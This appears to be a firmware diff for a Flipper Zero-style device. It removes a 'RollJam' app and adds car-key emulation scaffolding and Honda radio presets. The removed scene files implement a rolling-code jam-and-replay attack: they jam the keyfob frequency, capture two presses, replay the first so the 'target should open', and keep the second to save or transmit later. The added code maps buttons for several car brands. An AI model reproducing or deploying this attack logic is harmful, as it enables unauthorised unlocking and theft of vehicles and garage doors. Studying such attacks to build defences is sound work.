-// If you place .png files in an images/ folder,
-// the build system generates icon references automatically.
-// Access them via &I_iconname

applications/main/RollJam/scenes/rolljam_scene.h

@@ -1,27 +0,0 @@
-#pragma once
-
-#include "../rolljam.h"
-
-// Scene on_enter
-void rolljam_scene_menu_on_enter(void* context);
-void rolljam_scene_attack_phase1_on_enter(void* context);
-void rolljam_scene_attack_phase2_on_enter(void* context);
-void rolljam_scene_attack_phase3_on_enter(void* context);
-void rolljam_scene_result_on_enter(void* context);
-
-// Scene on_event
-bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
-bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
-bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
-bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
-bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
-
-// Scene on_exit
-void rolljam_scene_menu_on_exit(void* context);
-void rolljam_scene_attack_phase1_on_exit(void* context);
-void rolljam_scene_attack_phase2_on_exit(void* context);
-void rolljam_scene_attack_phase3_on_exit(void* context);
-void rolljam_scene_result_on_exit(void* context);
-
-// Scene manager handlers (defined in rolljam.c)
-extern const SceneManagerHandlers rolljam_scene_handlers;

applications/main/RollJam/scenes/rolljam_scene_attack_phase1.c

@@ -1,126 +0,0 @@
-#include "rolljam_scene.h"
-#include "../helpers/rolljam_cc1101_ext.h"
-#include "../helpers/rolljam_receiver.h"
-
-// ============================================================
-// Phase 1: JAM + CAPTURE first keyfob press
-// ============================================================
-
-static void phase1_timer_callback(void* context) {
-    RollJamApp* app = context;
-
-    if(app->signal_first.size >= 20 &&
-       rolljam_signal_is_valid(&app->signal_first)) {
-        view_dispatcher_send_custom_event(
-            app->view_dispatcher, RollJamEventSignalCaptured);
-    }
-}
-
-void rolljam_scene_attack_phase1_on_enter(void* context) {
-    RollJamApp* app = context;
-
-    widget_reset(app->widget);
-    widget_add_string_element(
-        app->widget, 64, 2, AlignCenter, AlignTop,
-        FontPrimary, "PHASE 1 / 4");
-    widget_add_string_element(
-        app->widget, 64, 16, AlignCenter, AlignTop,
-        FontSecondary, "Starting...");
-    widget_add_string_element(
-        app->widget, 64, 56, AlignCenter, AlignTop,
-        FontSecondary, "[BACK] cancel");
-    view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
-
-    rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
-
-    rolljam_jammer_start(app);
-    furi_delay_ms(300);
-
-    widget_reset(app->widget);
-    widget_add_string_element(
-        app->widget, 64, 2, AlignCenter, AlignTop,
-        FontPrimary, "PHASE 1 / 4");
-    if(app->jamming_active) {
-        widget_add_string_element(
-            app->widget, 64, 16, AlignCenter, AlignTop,
-            FontSecondary, "Jamming active...");
-        FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
-    } else {
-        widget_add_string_element(
-            app->widget, 64, 16, AlignCenter, AlignTop,
-            FontSecondary, "No ext jammer");
-        FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
-    }
-    widget_add_string_element(
-        app->widget, 64, 28, AlignCenter, AlignTop,
-        FontSecondary, "Listening for keyfob");
-    widget_add_string_element(
-        app->widget, 64, 42, AlignCenter, AlignTop,
-        FontPrimary, "PRESS KEYFOB NOW");
-    widget_add_string_element(
-        app->widget, 64, 56, AlignCenter, AlignTop,
-        FontSecondary, "[BACK] cancel");
-
-    rolljam_capture_start(app);
-
-    notification_message(app->notification, &sequence_blink_blue_100);
-
-    FuriTimer* timer = furi_timer_alloc(
-        phase1_timer_callback, FuriTimerTypePeriodic, app);
-    furi_timer_start(timer, 300);
-
-    scene_manager_set_scene_state(
-        app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
-
-    FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
-}
-
-bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
-    RollJamApp* app = context;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        if(event.event == RollJamEventSignalCaptured) {
-            rolljam_capture_stop(app);
-
-            if(!rolljam_signal_is_valid(&app->signal_first)) {
-                FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
-                app->signal_first.size  = 0;
-                app->signal_first.valid = false;
-                furi_delay_ms(50);
-                rolljam_capture_start(app);
-                return true;
-            }
-
-            rolljam_signal_cleanup(&app->signal_first);
-            app->signal_first.valid = true;
-
-            notification_message(app->notification, &sequence_success);
-            FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
-                       (int)app->signal_first.size);
-
-            scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
-            return true;
-        }
-    } else if(event.type == SceneManagerEventTypeBack) {
-        FURI_LOG_I(TAG, "Phase1: cancelled");
-        rolljam_capture_stop(app);
-        rolljam_jammer_stop(app);
-        scene_manager_search_and_switch_to_another_scene(
-            app->scene_manager, RollJamSceneMenu);
-        return true;
-    }
-    return false;
-}
-
-void rolljam_scene_attack_phase1_on_exit(void* context) {
-    RollJamApp* app = context;
-
-    FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
-        app->scene_manager, RollJamSceneAttackPhase1);
-    if(timer) {
-        furi_timer_stop(timer);
-        furi_timer_free(timer);
-    }
-
-    widget_reset(app->widget);
-}

applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c

@@ -1,110 +0,0 @@
-#include "rolljam_scene.h"
-#include "../helpers/rolljam_cc1101_ext.h"
-#include "../helpers/rolljam_receiver.h"
-
-// ============================================================
-// Phase 2: JAM + CAPTURE second keyfob press
-// ============================================================
-
-static void phase2_timer_callback(void* context) {
-    RollJamApp* app = context;
-
-    if(app->signal_second.size >= 20 &&
-       rolljam_signal_is_valid(&app->signal_second)) {
-        view_dispatcher_send_custom_event(
-            app->view_dispatcher, RollJamEventSignalCaptured);
-    }
-}
-
-void rolljam_scene_attack_phase2_on_enter(void* context) {
-    RollJamApp* app = context;
-
-    widget_reset(app->widget);
-    widget_add_string_element(
-        app->widget, 64, 2, AlignCenter, AlignTop,
-        FontPrimary, "PHASE 2 / 4");
-    widget_add_string_element(
-        app->widget, 64, 16, AlignCenter, AlignTop,
-        FontSecondary, "1st code CAPTURED!");
-    widget_add_string_element(
-        app->widget, 64, 28, AlignCenter, AlignTop,
-        FontSecondary, "Still jamming...");
-    widget_add_string_element(
-        app->widget, 64, 42, AlignCenter, AlignTop,
-        FontPrimary, "PRESS KEYFOB AGAIN");
-    widget_add_string_element(
-        app->widget, 64, 56, AlignCenter, AlignTop,
-        FontSecondary, "[BACK] cancel");
-
-    view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
-
-    memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
-    app->signal_second.size  = 0;
-    app->signal_second.valid = false;
-
-    rolljam_capture_stop(app);
-    furi_delay_ms(50);
-    rolljam_capture_start(app);
-
-    notification_message(app->notification, &sequence_blink_yellow_100);
-
-    FuriTimer* timer = furi_timer_alloc(
-        phase2_timer_callback, FuriTimerTypePeriodic, app);
-    furi_timer_start(timer, 300);
-
-    scene_manager_set_scene_state(
-        app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
-
-    FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
-}
-
-bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
-    RollJamApp* app = context;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        if(event.event == RollJamEventSignalCaptured) {
-            rolljam_capture_stop(app);
-
-            if(!rolljam_signal_is_valid(&app->signal_second)) {
-                FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
-                app->signal_second.size  = 0;
-                app->signal_second.valid = false;
-                furi_delay_ms(50);
-                rolljam_capture_start(app);
-                return true;
-            }
-
-            rolljam_signal_cleanup(&app->signal_second);
-            app->signal_second.valid = true;
-
-            notification_message(app->notification, &sequence_success);
-            FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
-                       (int)app->signal_second.size);
-
-            rolljam_capture_stop(app);
-            scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
-            return true;
-        }
-    } else if(event.type == SceneManagerEventTypeBack) {
-        FURI_LOG_I(TAG, "Phase2: cancelled");
-        rolljam_capture_stop(app);
-        rolljam_jammer_stop(app);
-        scene_manager_search_and_switch_to_another_scene(
-            app->scene_manager, RollJamSceneMenu);
-        return true;
-    }
-    return false;
-}
-
-void rolljam_scene_attack_phase2_on_exit(void* context) {
-    RollJamApp* app = context;
-
-    FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
-        app->scene_manager, RollJamSceneAttackPhase2);
-    if(timer) {
-        furi_timer_stop(timer);
-        furi_timer_free(timer);
-    }
-
-    widget_reset(app->widget);
-}

applications/main/RollJam/scenes/rolljam_scene_attack_phase3.c

@@ -1,64 +0,0 @@
-#include "rolljam_scene.h"
-#include "../helpers/rolljam_cc1101_ext.h"
-#include "../helpers/rolljam_receiver.h"
-
-// ============================================================
-// Phase 3: STOP jam + REPLAY first signal
-// The victim device opens. We keep the 2nd (newer) code.
-// ============================================================
-
-void rolljam_scene_attack_phase3_on_enter(void* context) {
-    RollJamApp* app = context;
-
-    widget_reset(app->widget);
-    widget_add_string_element(
-        app->widget, 64, 2, AlignCenter, AlignTop,
-        FontPrimary, "PHASE 3 / 4");
-    widget_add_string_element(
-        app->widget, 64, 18, AlignCenter, AlignTop,
-        FontSecondary, "Stopping jammer...");
-    widget_add_string_element(
-        app->widget, 64, 32, AlignCenter, AlignTop,
-        FontPrimary, "REPLAYING 1st CODE");
-    widget_add_string_element(
-        app->widget, 64, 48, AlignCenter, AlignTop,
-        FontSecondary, "Target should open!");
-
-    view_dispatcher_switch_to_view(
-        app->view_dispatcher, RollJamViewWidget);
-
-    notification_message(app->notification, &sequence_blink_green_100);
-
-    rolljam_jammer_stop(app);
-
-    furi_delay_ms(1000);
-
-    rolljam_transmit_signal(app, &app->signal_first);
-
-    FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
-
-    notification_message(app->notification, &sequence_success);
-
-    furi_delay_ms(800);
-
-    view_dispatcher_send_custom_event(
-        app->view_dispatcher, RollJamEventPhase3Done);
-}
-
-bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
-    RollJamApp* app = context;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        if(event.event == RollJamEventPhase3Done) {
-            scene_manager_next_scene(
-                app->scene_manager, RollJamSceneResult);
-            return true;
-        }
-    }
-    return false;
-}
-
-void rolljam_scene_attack_phase3_on_exit(void* context) {
-    RollJamApp* app = context;
-    widget_reset(app->widget);
-}

applications/main/RollJam/scenes/rolljam_scene_config.h

@@ -1,17 +0,0 @@
-#pragma once
-
-/*
- * Scene configuration file.
- * Lists all scenes for the SceneManager.
- * 
- * In some Flipper apps this uses ADD_SCENE macros.
- * We handle it manually via the handlers arrays in rolljam.c
- * so this file just documents the scene list.
- *
- * Scenes:
- *   0 - RollJamSceneMenu
- *   1 - RollJamSceneAttackPhase1
- *   2 - RollJamSceneAttackPhase2
- *   3 - RollJamSceneAttackPhase3
- *   4 - RollJamSceneResult
- */

applications/main/RollJam/scenes/rolljam_scene_menu.c

@@ -1,161 +0,0 @@
-#include "rolljam_scene.h"
-
-// ============================================================
-// Menu scene: select frequency, modulation, start attack
-// ============================================================
-
-static uint8_t get_min_offset_index(uint8_t mod_index) {
-    if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
-    return JamOffIndex_300k;
-}
-
-static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
-    uint8_t min_idx = get_min_offset_index(app->mod_index);
-    if(app->jam_offset_index < min_idx) {
-        app->jam_offset_index = min_idx;
-        app->jam_offset_hz    = jam_offset_values[min_idx];
-        if(offset_item) {
-            variable_item_set_current_value_index(offset_item, min_idx);
-            variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
-        }
-        FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
-                   jam_offset_names[min_idx]);
-    }
-}
-
-static VariableItem* s_offset_item = NULL;
-
-static void menu_freq_changed(VariableItem* item) {
-    RollJamApp* app = variable_item_get_context(item);
-    uint8_t index = variable_item_get_current_value_index(item);
-    app->freq_index = index;
-    app->frequency  = freq_values[index];
-    variable_item_set_current_value_text(item, freq_names[index]);
-}
-
-static void menu_mod_changed(VariableItem* item) {
-    RollJamApp* app = variable_item_get_context(item);
-    uint8_t index = variable_item_get_current_value_index(item);
-    app->mod_index = index;
-    variable_item_set_current_value_text(item, mod_names[index]);
-
-    enforce_min_offset(app, s_offset_item);
-}
-
-static void menu_jam_offset_changed(VariableItem* item) {
-    RollJamApp* app = variable_item_get_context(item);
-    uint8_t index = variable_item_get_current_value_index(item);
-
-    uint8_t min_idx = get_min_offset_index(app->mod_index);
-    if(index < min_idx) {
-        index = min_idx;
-        variable_item_set_current_value_index(item, index);
-    }
-
-    app->jam_offset_index = index;
-    app->jam_offset_hz    = jam_offset_values[index];
-    variable_item_set_current_value_text(item, jam_offset_names[index]);
-}
-
-static void menu_hw_changed(VariableItem* item) {
-    RollJamApp* app = variable_item_get_context(item);
-    uint8_t index = variable_item_get_current_value_index(item);
-    app->hw_index = index;
-    variable_item_set_current_value_text(item, hw_names[index]);
-}
-
-static void menu_enter_callback(void* context, uint32_t index) {
-    RollJamApp* app = context;
-    if(index == 4) {
-        view_dispatcher_send_custom_event(
-            app->view_dispatcher, RollJamEventStartAttack);
-    }
-}
-
-void rolljam_scene_menu_on_enter(void* context) {
-    RollJamApp* app = context;
-
-    variable_item_list_reset(app->var_item_list);
-
-    // --- Frequency ---
-    VariableItem* freq_item = variable_item_list_add(
-        app->var_item_list,
-        "Frequency",
-        FreqIndex_COUNT,
-        menu_freq_changed,
-        app);
-    variable_item_set_current_value_index(freq_item, app->freq_index);
-    variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
-
-    // --- Modulation ---
-    VariableItem* mod_item = variable_item_list_add(
-        app->var_item_list,
-        "Modulation",
-        ModIndex_COUNT,
-        menu_mod_changed,
-        app);
-    variable_item_set_current_value_index(mod_item, app->mod_index);
-    variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
-
-    // --- Jam Offset ---
-    VariableItem* offset_item = variable_item_list_add(
-        app->var_item_list,
-        "Jam Offset",
-        JamOffIndex_COUNT,
-        menu_jam_offset_changed,
-        app);
-
-    s_offset_item = offset_item;
-    enforce_min_offset(app, offset_item);
-
-    variable_item_set_current_value_index(offset_item, app->jam_offset_index);
-    variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
-
-    // --- Hardware ---
-    VariableItem* hw_item = variable_item_list_add(
-        app->var_item_list,
-        "Hardware",
-        HwIndex_COUNT,
-        menu_hw_changed,
-        app);
-    variable_item_set_current_value_index(hw_item, app->hw_index);
-    variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
-
-    // --- Start button ---
-    variable_item_list_add(
-        app->var_item_list,
-        ">> START ATTACK <<",
-        0,
-        NULL,
-        app);
-
-    variable_item_list_set_enter_callback(
-        app->var_item_list, menu_enter_callback, app);
-
-    view_dispatcher_switch_to_view(
-        app->view_dispatcher, RollJamViewVarItemList);
-}
-
-bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
-    RollJamApp* app = context;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        if(event.event == RollJamEventStartAttack) {
-            enforce_min_offset(app, NULL);
-
-            memset(&app->signal_first,  0, sizeof(RawSignal));
-            memset(&app->signal_second, 0, sizeof(RawSignal));
-
-            scene_manager_next_scene(
-                app->scene_manager, RollJamSceneAttackPhase1);
-            return true;
-        }
-    }
-    return false;
-}
-
-void rolljam_scene_menu_on_exit(void* context) {
-    RollJamApp* app = context;
-    s_offset_item = NULL;
-    variable_item_list_reset(app->var_item_list);
-}

applications/main/RollJam/scenes/rolljam_scene_result.c

@@ -1,110 +0,0 @@
-#include "rolljam_scene.h"
-#include "../helpers/rolljam_receiver.h"
-
-// ============================================================
-// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
-// ============================================================
-
-static void result_dialog_callback(DialogExResult result, void* context) {
-    RollJamApp* app = context;
-
-    if(result == DialogExResultLeft) {
-        view_dispatcher_send_custom_event(
-            app->view_dispatcher, RollJamEventSaveSignal);
-    } else if(result == DialogExResultRight) {
-        view_dispatcher_send_custom_event(
-            app->view_dispatcher, RollJamEventReplayNow);
-    }
-}
-
-void rolljam_scene_result_on_enter(void* context) {
-    RollJamApp* app = context;
-
-    dialog_ex_reset(app->dialog_ex);
-
-    dialog_ex_set_header(
-        app->dialog_ex, "Attack Complete!",
-        64, 2, AlignCenter, AlignTop);
-
-    dialog_ex_set_text(
-        app->dialog_ex,
-        "1st code: SENT to target\n"
-        "2nd code: IN MEMORY\n\n"
-        "What to do with 2nd?",
-        64, 18, AlignCenter, AlignTop);
-
-    dialog_ex_set_left_button_text(app->dialog_ex, "Save");
-    dialog_ex_set_right_button_text(app->dialog_ex, "Send");
-
-    dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
-    dialog_ex_set_context(app->dialog_ex, app);
-
-    view_dispatcher_switch_to_view(
-        app->view_dispatcher, RollJamViewDialogEx);
-}
-
-bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
-    RollJamApp* app = context;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        if(event.event == RollJamEventSaveSignal) {
-
-            rolljam_save_signal(app, &app->signal_second);
-
-            popup_reset(app->popup);
-            popup_set_header(
-                app->popup, "Saved!",
-                64, 20, AlignCenter, AlignCenter);
-            popup_set_text(
-                app->popup,
-                "File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
-                64, 38, AlignCenter, AlignCenter);
-            popup_set_timeout(app->popup, 5000);
-            popup_enable_timeout(app->popup);
-            view_dispatcher_switch_to_view(
-                app->view_dispatcher, RollJamViewPopup);
-
-            notification_message(app->notification, &sequence_success);
-            return true;
-
-        } else if(event.event == RollJamEventReplayNow) {
-
-            popup_reset(app->popup);
-            popup_set_header(
-                app->popup, "Transmitting...",
-                64, 20, AlignCenter, AlignCenter);
-            popup_set_text(
-                app->popup, "Sending 2nd code NOW",
-                64, 38, AlignCenter, AlignCenter);
-            view_dispatcher_switch_to_view(
-                app->view_dispatcher, RollJamViewPopup);
-
-            rolljam_transmit_signal(app, &app->signal_second);
-
-            notification_message(app->notification, &sequence_success);
-
-            popup_set_header(
-                app->popup, "Done!",
-                64, 20, AlignCenter, AlignCenter);
-            popup_set_text(
-                app->popup,
-                "2nd code transmitted!\n\nPress Back",
-                64, 38, AlignCenter, AlignCenter);
-            popup_set_timeout(app->popup, 5000);
-            popup_enable_timeout(app->popup);
-
-            return true;
-        }
-    } else if(event.type == SceneManagerEventTypeBack) {
-        scene_manager_search_and_switch_to_another_scene(
-            app->scene_manager, RollJamSceneMenu);
-        return true;
-    }
-    return false;
-}
-
-void rolljam_scene_result_on_exit(void* context) {
-    RollJamApp* app = context;
-    dialog_ex_reset(app->dialog_ex);
-    popup_reset(app->popup);
-}

applications/main/RollJam/views/rolljam_attack_view.c

@@ -1,53 +0,0 @@
-#include "rolljam_attack_view.h"
-#include <gui/canvas.h>
-
-// ============================================================
-// Custom drawing for attack status
-// Reserved for future use with a custom View
-// Currently the app uses Widget modules instead
-// ============================================================
-
-void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
-    canvas_clear(canvas);
-
-    // Title bar
-    canvas_set_font(canvas, FontPrimary);
-    canvas_draw_str_aligned(
-        canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
-
-    // Separator
-    canvas_draw_line(canvas, 0, 14, 128, 14);
-
-    // Status
-    canvas_set_font(canvas, FontSecondary);
-    canvas_draw_str_aligned(
-        canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
-
-    // Indicators
-    int y = 32;
-
-    if(state->jamming) {
-        canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
-        // Animated dots could go here
-    } else {
-        canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
-    }
-    y += 12;
-
-    if(state->capturing) {
-        canvas_draw_str(canvas, 4, y, "RX:  [LISTENING]");
-    } else {
-        canvas_draw_str(canvas, 4, y, "RX:  [OFF]");
-    }
-    y += 12;
-
-    // Signal counter
-    char buf[32];
-    snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
-    canvas_draw_str(canvas, 4, y, buf);
-
-    // Footer
-    canvas_set_font(canvas, FontSecondary);
-    canvas_draw_str_aligned(
-        canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
-}

applications/main/RollJam/views/rolljam_attack_view.h

@@ -1,23 +0,0 @@
-#pragma once
-
-#include "../rolljam.h"
-
-/*
- * Custom view for attack visualization.
- * Currently the app uses Widget and DialogEx for display.
- * This file is reserved for a future custom canvas-drawn view
- * (e.g., signal waveform display, animated jamming indicator).
- *
- * For now it provides a simple status draw function.
- */
-
-typedef struct {
-    const char* phase_text;
-    const char* status_text;
-    bool jamming;
-    bool capturing;
-    int signal_count;
-} AttackViewState;
-
-// Draw attack status on a canvas (for future custom View use)
-void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);

applications/main/application.fam

@@ -4,14 +4,12 @@ App(
     apptype=FlipperAppType.METAPACKAGE,
     provides=[
         "gpio",
-        "infrared",
         "lfrfid",
         "nfc",
         "subghz",
-        "rolljam",
+        "subghz_remote",
         "subghz_bruteforcer",
         "archive",
-        "subghz_remote",
         "main_apps_on_start",
     ],
 )

applications/main/subghz/helpers/subghz_custom_event.h

@@ -58,11 +58,16 @@ typedef enum {
     SubGhzCustomEventViewTransmitterSendStart,
     SubGhzCustomEventViewTransmitterSendStop,
     SubGhzCustomEventViewTransmitterError,
+    SubGhzCustomEventViewTransmitterPageChange,
 
     SubGhzCustomEventViewFreqAnalOkShort,
     SubGhzCustomEventViewFreqAnalOkLong,
 
     SubGhzCustomEventByteInputDone,
+    SubGhzCustomEventCarEmulateTransmit,
+    SubGhzCustomEventCarEmulateStop,
+    SubGhzCustomEventCarEmulateExit,
+
 } SubGhzCustomEvent;
 
 typedef enum {

applications/main/subghz/helpers/subghz_txrx.c

@@ -1,9 +1,11 @@
 #include "subghz_txrx_i.h" // IWYU pragma: keep
 
 #include <math.h>
+#include <furi_hal_subghz.h>
 #include <lib/subghz/protocols/protocol_items.h>
 #include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
 #include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
+#include "../../../../lib/subghz/devices/subghz_preset_delta.h"
 #include <lib/subghz/blocks/custom_btn.h>
 
 #define TAG "SubGhzTxRx"
@@ -498,6 +500,36 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
     }
 }
 
+// Identify the hop index (0=AM650, 1=FM476, 2=FM95) from the name.
+// Must match the order defined in subghz_preset_delta.h
+static int subghz_hop_index_from_name(const char* name) {
+    if(strcmp(name, "AM650") == 0) return 0;
+    if(strcmp(name, "FM476") == 0) return 1;
+    if(strcmp(name, "FM95") == 0) return 2;
+    return -1; // is not part of the fast hopping set
+}
+
+// Applies the target preset using delta-patch (without SRES) when possible,
+// or falls back to the original full reload in any other case.
+static void subghz_txrx_apply_preset_fast(
+    SubGhzTxRx* instance,
+    const char* old_preset_name,
+    const char* preset_name) {
+    int from_idx = subghz_hop_index_from_name(old_preset_name);
+    int to_idx = subghz_hop_index_from_name(preset_name);
+
+    if(instance->radio_device_type == SubGhzRadioDeviceTypeInternal && from_idx >= 0 &&
+       to_idx >= 0 && from_idx != to_idx) {
+        // Fast path: delta-patch without SRES or full reload (only internal CC1101)
+        const PresetDeltaEntry* e = &preset_delta_table[from_idx][to_idx];
+        furi_hal_subghz_apply_preset_delta(e->delta, e->delta_len, e->needs_scal, e->pa_table);
+    } else {
+        // Fallback: original behavior (full reload)
+        subghz_devices_load_preset(
+            instance->radio_device, FuriHalSubGhzPresetCustom, instance->preset->data);
+    }
+}
+
 void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
     furi_assert(instance);
 
@@ -550,22 +582,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
             subghz_txrx_set_preset_internal(
                 instance, instance->preset->frequency, actual_preset_idx, 0);
 
-            bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
-            bool new_is_am = (strstr(preset_name, "AM") != NULL);
-            bool modulation_changed = (old_is_am != new_is_am);
-
-            if(modulation_changed) {
-                subghz_devices_reset(instance->radio_device);
-                subghz_devices_load_preset(
-                    instance->radio_device,
-                    FuriHalSubGhzPresetCustom,
-                    instance->preset->data);
-            } else {
-                subghz_devices_load_preset(
-                    instance->radio_device,
-                    FuriHalSubGhzPresetCustom,
-                    instance->preset->data);
-            }
+            subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
 
             subghz_txrx_rx(instance, instance->preset->frequency);
         }
@@ -588,22 +605,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
             subghz_txrx_set_preset_internal(
                 instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
 
-            bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
-            bool new_is_am = (strstr(preset_name, "AM") != NULL);
-            bool modulation_changed = (old_is_am != new_is_am);
-
-            if(modulation_changed) {
-                subghz_devices_reset(instance->radio_device);
-                subghz_devices_load_preset(
-                    instance->radio_device,
-                    FuriHalSubGhzPresetCustom,
-                    instance->preset->data);
-            } else {
-                subghz_devices_load_preset(
-                    instance->radio_device,
-                    FuriHalSubGhzPresetCustom,
-                    instance->preset->data);
-            }
+            subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
 
             subghz_txrx_rx(instance, instance->preset->frequency);
         }

applications/main/subghz/helpers/subghz_types.h

@@ -94,6 +94,7 @@ typedef enum {
     SubGhzViewIdReadRAW,
     SubGhzViewIdPsaDecrypt,
     SubGhzViewIdKeeloqDecrypt,
+    SubGhzViewIdCarEmulate,
 
 } SubGhzViewId;
 

applications/main/subghz/resources/subghz/assets/setting_user

@@ -119,3 +119,13 @@ Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 67 11 83 12 04 13 02 15 24 18 18
 Custom_preset_name: FM15k
 Custom_preset_module: CC1101
 Custom_preset_data: 02 0D 03 47 08 32 0B 06 10 A7 11 32 12 00 13 00 14 00 15 32 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 00 12 0E 34 60 C5 C1 C0
+
+Custom_preset_name: Honda1
+Custom_preset_module: CC1101
+#                                                          G2    G3    G4    D                 L0    L1    L2
+Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 36 10 69 15 32 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
+
+Custom_preset_name: Honda2
+Custom_preset_module: CC1101
+#                                                          G2    G3    G4    D                 L0    L1    L2
+Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 07 11 36 10 E9 15 32 18 18 19 16 1D 92 1C 40 1B 03 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00

applications/main/subghz/scenes/subghz_scene_car_emulate.c

@@ -0,0 +1,499 @@
+/**
+ * Scene: CarEmulate
+ * Custom automotive-key emulation GUI ported from ProtoPirate.
+ * Activated when SubGhzLastSettings::custom_car_emulate == true and the
+ * user presses "Emulate" on a saved dynamic protocol.
+ *
+ * Flow:
+ *   SavedMenu → Emulate → (custom_car_emulate?) CarEmulate : Transmitter
+ */
+#include "../subghz_i.h"
+#include "../views/subghz_car_emulate.h"
+#include "../helpers/subghz_custom_event.h"
+#include <lib/subghz/blocks/generic.h>
+#include <notification/notification_messages.h>
+#include "../helpers/subghz_txrx_i.h"
+#include <lib/subghz/blocks/custom_btn_i.h>
+
+#define TAG           "SubGhzSceneCarEmulate"
+#define MIN_TX_TICKS  66U   /* ~666 ms at 100 ms tick */
+
+/* ── Per-session state (heap, freed on exit) ─────────────────────────────── */
+typedef struct {
+    /* Signal metadata read from fff_data */
+    char     protocol_name[48];
+    uint32_t serial;
+    uint8_t  original_button;
+    uint32_t original_counter;
+    uint32_t current_counter;
+    uint32_t freq;
+    char     preset_short[12];  /* "AM650", "FM476", … */
+
+    /* TX state */
+    bool     is_transmitting;
+    bool     stop_pending;      /* stop requested before MIN_TX_TICKS elapsed */
+    uint32_t tx_start_tick;
+
+    /* Pending button key (InputKey) decoded from the packed custom event */
+    uint8_t  pending_button;
+} CarEmulateState;
+
+static CarEmulateState* s_state = NULL;
+
+/* ═══════════════════════════════════════════════════════════════════════════
+ * Button mapping  (protocol-name → InputKey → button byte)
+ * Ported verbatim from protopirate_scene_emulate.c
+ * ═════════════════════════════════════════════════════════════════════════*/
+//static uint8_t car_emulate_map_button(
+//    const char* protocol,
+//    InputKey    key,
+//    uint8_t     original) {
+
+    /* Land Rover V0 */
+//    if(strstr(protocol, "Land Rover")) {
+//        switch(key) {
+//        case InputKeyUp:   return 0x02; /* Lock   */
+//        case InputKeyOk:   return 0x04; /* Unlock */
+//        default:           return original;
+//        }
+//    }
+    /* Mazda */
+//    if(strstr(protocol, "Mazda")) {
+//        switch(key) {
+//        case InputKeyUp:    return 0x01;
+//        case InputKeyOk:    return 0x02;
+//        case InputKeyDown:  return 0x04;
+//        case InputKeyRight: return 0x08;
+//        default:            return original;
+//        }
+//    }
+    /* PSA */
+//    if(strstr(protocol, "PSA")) {
+//        switch(key) {
+//        case InputKeyUp:    return 0x1;
+//        case InputKeyOk:    return 0x2;
